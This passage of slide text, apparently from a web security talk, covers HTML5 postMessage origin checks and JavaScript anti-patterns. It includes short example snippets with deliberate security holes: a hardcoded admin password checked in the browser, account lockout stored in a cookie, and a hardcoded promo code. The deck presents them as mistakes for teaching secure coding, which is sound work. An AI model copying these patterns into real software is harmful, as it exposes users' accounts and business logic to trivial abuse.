  • 47.  HTML5 API for sending/receiving data between frames of different origins  API has the option to explicitly mention the target domain when sending message  Don’t use ‘*’ to invalidate this security measure  API has option to check the source of the message  Always perform this check before using the data from external frames  Don’t trust data from 3rd party, always validate it postMessage
  • 48.  HTML5 Quick Reference Guide http://www.andlabs.org/html5.html  Cross Origin Requests Security http://code.google.com/p/html5security/wiki/Cros sOriginRequestSecurity  Web SQL Database Security http://code.google.com/p/html5security/wiki/Web SQLDatabaseSecurity  Mozilla Developer Network – postMessage https://developer.mozilla.org/en/DOM/window.po stMessage References
  • 49. Things to avoid doing in JavaScript
  • 50.  JavaScript runs in the user’s environment  User has full control over it  Impossible to prevent user from reading JavaScript code  Disabling right-click DOES NOT WORK Some Basic Facts
  • 51. if(user == “admin” && passwd = “s3cr3t”) { window.location = “admin.php” } else { window.location = “login.php” }* *Stop laughing, this is a real-life example Authentication
  • 52. var auth_result = check_creds(uname,pwd); if(!auth_result) { failed_login_count++; if(failed_login_count > 3) { document.cookie = “account_locked = 1”; } } Security Controls
  • 53. if(promo_code == “ER290U”) { discount_percent = 50; } else { discount_percent = 10; } Expose Business Logic or Sensitive Information
  • 54.  Client-side only Validation  Crypto, almost always a bad idea  Storing sensitive data in client-side stores over HTTP  References: Common Sense Things to Avoid (contd..)